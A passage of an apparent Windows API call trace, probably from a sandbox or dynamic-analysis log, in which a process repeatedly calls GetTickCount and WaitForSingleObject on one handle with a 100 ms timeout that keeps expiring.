dwMilliseconds=0x64) returned 0x102 [0282.406] GetTickCount () returned 0x22560 [0282.406] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.509] GetTickCount () returned 0x225ce [0282.509] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.618] GetTickCount () returned 0x2263b [0282.618] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.727] GetTickCount () returned 0x226a8 [0282.728] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.858] GetTickCount () returned 0x22725 [0282.858] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.318] GetTickCount () returned 0x228ea [0283.318] GetTickCount () returned 0x228ea [0283.318] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.451] GetTickCount () returned 0x22977 [0283.451] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.587] GetTickCount () returned 0x22a04 [0283.587] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.696] GetTickCount () returned 0x22a71 [0283.696] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.805] GetTickCount () returned 0x22ade [0283.805] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0283.930] GetTickCount () returned 0x22b5b [0283.930] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0284.846] GetTickCount () returned 0x22ee6 [0284.847] GetTickCount () returned 0x22ee6 [0284.847] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.008] GetTickCount () returned 0x22f82 [0285.008] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.118] GetTickCount () returned 0x22fff [0285.119] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.228] GetTickCount () returned 0x2306c [0285.228] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.355] GetTickCount () returned 0x230e9 [0285.355] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.462] GetTickCount () returned 0x23157 [0285.462] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.571] GetTickCount () returned 0x231c4 [0285.571] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.682] GetTickCount () returned 0x23231 [0285.682] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.790] GetTickCount () returned 0x2329f [0285.790] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0285.899] GetTickCount () returned 0x2330c [0285.899] GetTickCount () returned 0x2330c [0285.900] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0286.949] GetTickCount () returned 0x23723 [0286.949] GetTickCount () returned 0x23723 [0286.949] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0287.083] GetTickCount () returned 0x237b0 [0287.083] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0287.194] GetTickCount () returned 0x2381d [0287.194] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0287.301] GetTickCount () returned 0x2388a [0287.301] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0287.430] GetTickCount () returned 0x23907 [0287.430] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0287.627] GetTickCount () returned 0x239c3 [0287.627] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.168] GetTickCount () returned 0x23be6 [0288.168] GetTickCount () returned 0x23be6 [0288.168] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.379] GetTickCount () returned 0x23cc1 [0288.379] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.521] GetTickCount () returned 0x23d4d [0288.521] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.630] GetTickCount () returned 0x23dbb [0288.630] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.739] GetTickCount () returned 0x23e28 [0288.739] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0288.849] GetTickCount () returned 0x23e95 [0288.849] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.008] GetTickCount () returned 0x23f32 [0289.008] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.114] GetTickCount () returned 0x23f9f [0289.114] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.224] GetTickCount () returned 0x2400c [0289.224] GetTickCount () returned 0x2400c [0289.224] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.333] GetTickCount () returned 0x2407a [0289.333] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.443] GetTickCount () returned 0x240e7 [0289.443] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.552] GetTickCount () returned 0x24154 [0289.552] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.677] GetTickCount () returned 0x241d1 [0289.677] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.786] GetTickCount () returned 0x2423f [0289.786] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0289.895] GetTickCount () returned 0x242ac [0289.895] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.005] GetTickCount () returned 0x2431a [0290.005] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.114] GetTickCount () returned 0x24387 [0290.114] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.224] GetTickCount () returned 0x243f4 [0290.224] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.333] GetTickCount () returned 0x24462 [0290.333] GetTickCount () returned 0x24462 [0290.333] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.442] GetTickCount () returned 0x244cf [0290.442] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.557] GetTickCount () returned 0x2453c [0290.557] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.661] GetTickCount () returned 0x245aa [0290.661] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.770] GetTickCount () returned 0x24617 [0290.770] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0290.883] GetTickCount () returned 0x24685 [0290.883] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.083] GetTickCount () returned 0x24750 [0291.083] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.245] GetTickCount () returned 0x247ec [0291.245] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.350] GetTickCount () returned 0x24859 [0291.350] GetTickCount () returned 0x24859 [0291.350] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.468] GetTickCount () returned 0x248c7 [0291.468] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.567] GetTickCount () returned 0x24934 [0291.567] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.695] GetTickCount () returned 0x249b1 [0291.695] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.802] GetTickCount () returned 0x24a1e [0291.802] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0291.936] GetTickCount () returned 0x24a9b [0291.936] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.051] GetTickCount () returned 0x24b18 [0292.051] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.180] GetTickCount () returned 0x24b86 [0292.180] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.312] GetTickCount () returned 0x24c12 [0292.312] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.512] GetTickCount () returned 0x24cde [0292.513] GetTickCount () returned 0x24cde [0292.513] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.703] GetTickCount () returned 0x24d99 [0292.703] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.810] GetTickCount () returned 0x24e06 [0292.810] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0292.930] GetTickCount () returned 0x24e74 [0292.930] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.037] GetTickCount () returned 0x24ee1 [0293.037] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.140] GetTickCount () returned 0x24f4f [0293.140] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.245] GetTickCount () returned 0x24fbc [0293.245] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.543] GetTickCount () returned 0x250e5 [0293.543] GetTickCount () returned 0x250e5 [0293.543] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.679] GetTickCount () returned 0x25162 [0293.679] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.775] GetTickCount () returned 0x251cf [0293.775] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.884] GetTickCount () returned 0x2523d [0293.884] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0293.994] GetTickCount () returned 0x252aa [0293.994] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.123] GetTickCount () returned 0x25327 [0294.123] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.285] GetTickCount () returned 0x253c3 [0294.285] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.493] GetTickCount () returned 0x2548e [0294.493] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.587] GetTickCount () returned 0x254fc [0294.587] GetTickCount () returned 0x254fc [0294.588] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.701] GetTickCount () returned 0x25569 [0294.701] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0294.900] GetTickCount () returned 0x25634 [0294.900] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.009] GetTickCount () returned 0x256a2 [0295.009] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.222] GetTickCount () returned 0x2576d [0295.223] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.322] GetTickCount () returned 0x257da [0295.322] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.442] GetTickCount () returned 0x25847 [0295.442] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.554] GetTickCount () returned 0x258b5 [0295.554] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.650] GetTickCount () returned 0x25922 [0295.650] GetTickCount () returned 0x25922 [0295.650] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0295.855] GetTickCount () returned 0x259ed [0295.855] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0296.262] GetTickCount () returned 0x25b74 [0296.262] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0296.537] GetTickCount () returned 0x25c8d [0296.537] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0296.643] GetTickCount () returned 0x25cfb [0296.643] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0296.778] GetTickCount () returned 0x25d78 [0296.778] GetTickCount () returned 0x25d78 [0296.778] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0296.877] GetTickCount () returned 0x25de5 [0296.877] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.000] GetTickCount () returned 0x25e52 [0297.000] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.125] GetTickCount () returned 0x25ecf [0297.125] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.221] GetTickCount () returned 0x25f3d [0297.221] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.341] GetTickCount () returned 0x25faa [0297.341] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.505] GetTickCount () returned 0x26056 [0297.505] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.659] GetTickCount () returned 0x260f2 [0297.660] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.768] GetTickCount () returned 0x26160 [0297.768] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.877] GetTickCount () returned 0x261cd [0297.877] GetTickCount () returned 0x261cd [0297.877] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0297.987] GetTickCount () returned 0x2623a [0297.987] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.096] GetTickCount () returned 0x262a8 [0298.096] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.233] GetTickCount () returned 0x26325 [0298.233] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.356] GetTickCount () returned 0x263a2 [0298.356] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.509] GetTickCount () returned 0x2643e [0298.509] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.619] GetTickCount () returned 0x264ab [0298.619] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.773] GetTickCount () returned 0x26548 [0298.773] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0298.907] GetTickCount () returned 0x265c5 [0298.907] GetTickCount () returned 0x265c5 [0298.907] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.002] GetTickCount () returned 0x26632 [0299.002] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.111] GetTickCount () returned 0x2669f [0299.111] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.242] GetTickCount () returned 0x2671c [0299.242] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.346] GetTickCount () returned 0x2678a [0299.346] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.555] GetTickCount () returned 0x26855 [0299.555] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.675] GetTickCount () returned 0x268d2 [0299.675] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.794] GetTickCount () returned 0x2693f [0299.794] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0299.925] GetTickCount () returned 0x269cc [0299.925] GetTickCount () returned 0x269cc [0299.925] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.034] GetTickCount () returned 0x26a39 [0300.034] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.177] GetTickCount () returned 0x26ac6 [0300.177] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.283] GetTickCount () returned 0x26b33 [0300.283] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.393] GetTickCount () returned 0x26ba1 [0300.393] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.502] GetTickCount () returned 0x26c0e [0300.502] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.689] GetTickCount () returned 0x26cba [0300.689] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0300.872] GetTickCount () returned 0x26d75 [0300.872] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.061] GetTickCount () returned 0x26e31 [0301.061] GetTickCount () returned 0x26e31 [0301.061] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.158] GetTickCount () returned 0x26e9e [0301.158] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.268] GetTickCount () returned 0x26f0c [0301.268] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.386] GetTickCount () returned 0x26f79 [0301.386] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.498] GetTickCount () returned 0x26fe6 [0301.498] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.638] GetTickCount () returned 0x27073 [0301.638] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.758] GetTickCount () returned 0x270f0 [0301.759] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0301.892] GetTickCount () returned 0x2716d [0301.892] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.014] GetTickCount () returned 0x271fa [0302.014] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.127] GetTickCount () returned 0x27267 [0302.127] GetTickCount () returned 0x27267 [0302.127] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.249] GetTickCount () returned 0x272e4 [0302.249] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.420] GetTickCount () returned 0x27390 [0302.420] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.558] GetTickCount () returned 0x2740d [0302.558] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.693] GetTickCount () returned 0x27499 [0302.693] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.816] GetTickCount () returned 0x27516 [0302.816] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0302.966] GetTickCount () returned 0x275b3 [0302.966] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.078] GetTickCount () returned 0x27620 [0303.078] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.198] GetTickCount () returned 0x2769d [0303.198] GetTickCount () returned 0x2769d [0303.198] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.294] GetTickCount () returned 0x276fb [0303.294] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.411] GetTickCount () returned 0x27778 [0303.411] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.552] GetTickCount () returned 0x27804 [0303.552] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.650] GetTickCount () returned 0x27862 [0303.650] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.766] GetTickCount () returned 0x278d0 [0303.766] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.883] GetTickCount () returned 0x2794d [0303.883] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0303.992] GetTickCount () returned 0x279ba [0303.992] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.139] GetTickCount () returned 0x27a47 [0304.139] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.236] GetTickCount () returned 0x27aa4 [0304.236] GetTickCount () returned 0x27aa4 [0304.236] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.351] GetTickCount () returned 0x27b21 [0304.351] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.468] GetTickCount () returned 0x27b8f [0304.468] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.582] GetTickCount () returned 0x27c0c [0304.582] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.698] GetTickCount () returned 0x27c79 [0304.698] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.813] GetTickCount () returned 0x27ce6 [0304.813] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0304.937] GetTickCount () returned 0x27d63 [0304.937] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.051] GetTickCount () returned 0x27de0 [0305.051] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.157] GetTickCount () returned 0x27e3e [0305.157] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.267] GetTickCount () returned 0x27eac [0305.267] GetTickCount () returned 0x27eac [0305.267] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.367] GetTickCount () returned 0x27f19 [0305.367] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.468] GetTickCount () returned 0x27f77 [0305.468] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.568] GetTickCount () returned 0x27fe4 [0305.568] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.691] GetTickCount () returned 0x28051 [0305.691] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.879] GetTickCount () returned 0x2810d [0305.879] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0305.987] GetTickCount () returned 0x2817a [0305.987] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.096] GetTickCount () returned 0x281e8 [0306.096] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.218] GetTickCount () returned 0x28265 [0306.218] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.313] GetTickCount () returned 0x282c2 [0306.313] GetTickCount () returned 0x282c2 [0306.313] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.427] GetTickCount () returned 0x2833f [0306.427] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.557] GetTickCount () returned 0x283ad [0306.557] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.659] GetTickCount () returned 0x2841a [0306.659] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.774] GetTickCount () returned 0x28488 [0306.774] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.865] GetTickCount () returned 0x284f5 [0306.865] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0306.981] GetTickCount () returned 0x28562 [0306.981] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.081] GetTickCount () returned 0x285d0 [0307.081] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.275] GetTickCount () returned 0x2867c [0307.275] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.428] GetTickCount () returned 0x28727 [0307.428] GetTickCount () returned 0x28727 [0307.428] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.622] GetTickCount () returned 0x287e3 [0307.622] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.756] GetTickCount () returned 0x28870 [0307.756] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0307.879] GetTickCount () returned 0x288ed [0307.879] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.011] GetTickCount () returned 0x2896a [0308.011] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.138] GetTickCount () returned 0x289e7 [0308.138] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.275] GetTickCount () returned 0x28a73 [0308.276] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.466] GetTickCount () returned 0x28b2f [0308.466] GetTickCount () returned 0x28b2f [0308.466] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.582] GetTickCount () returned 0x28bac [0308.582] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.718] GetTickCount () returned 0x28c29 [0308.719] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0308.843] GetTickCount () returned 0x28ca6 [0308.843] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.182] GetTickCount () returned 0x28dfd [0309.182] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.320] GetTickCount () returned 0x28e8a [0309.320] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.428] GetTickCount () returned 0x28ef7 [0309.428] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.551] GetTickCount () returned 0x28f74 [0309.551] GetTickCount () returned 0x28f74 [0309.551] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.654] GetTickCount () returned 0x28fd2 [0309.654] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.761] GetTickCount () returned 0x29040 [0309.761] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.892] GetTickCount () returned 0x290bd [0309.892] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0309.994] GetTickCount () returned 0x2912a [0309.994] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.102] GetTickCount () returned 0x29197 [0310.102] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.216] GetTickCount () returned 0x29205 [0310.216] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.324] GetTickCount () returned 0x29272 [0310.324] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.433] GetTickCount () returned 0x292df [0310.433] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.541] GetTickCount () returned 0x2934d [0310.541] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.649] GetTickCount () returned 0x293ba [0310.649] GetTickCount () returned 0x293ba [0310.650] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.758] GetTickCount () returned 0x29428 [0310.758] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0310.867] GetTickCount () returned 0x29495 [0310.867] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0312.336] GetTickCount () returned 0x29a52 [0312.336] GetTickCount () returned 0x29a52 [0312.336] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0312.526] GetTickCount () returned 0x29b0d [0312.526] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0312.660] GetTickCount () returned 0x29b9a [0312.660] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0312.786] GetTickCount () returned 0x29c17 [0312.786] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0312.923] GetTickCount () returned 0x29c94 [0312.923] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.035] GetTickCount () returned 0x29d11 [0313.035] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.155] GetTickCount () returned 0x29d7e [0313.155] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.259] GetTickCount () returned 0x29dec [0313.259] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.414] GetTickCount () returned 0x29e78 [0313.414] GetTickCount () returned 0x29e78 [0313.414] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.521] GetTickCount () returned 0x29ef5 [0313.521] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.636] GetTickCount () returned 0x29f63 [0313.636] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.745] GetTickCount () returned 0x29fd0 [0313.745] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0313.884] GetTickCount () returned 0x2a04d [0313.884] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 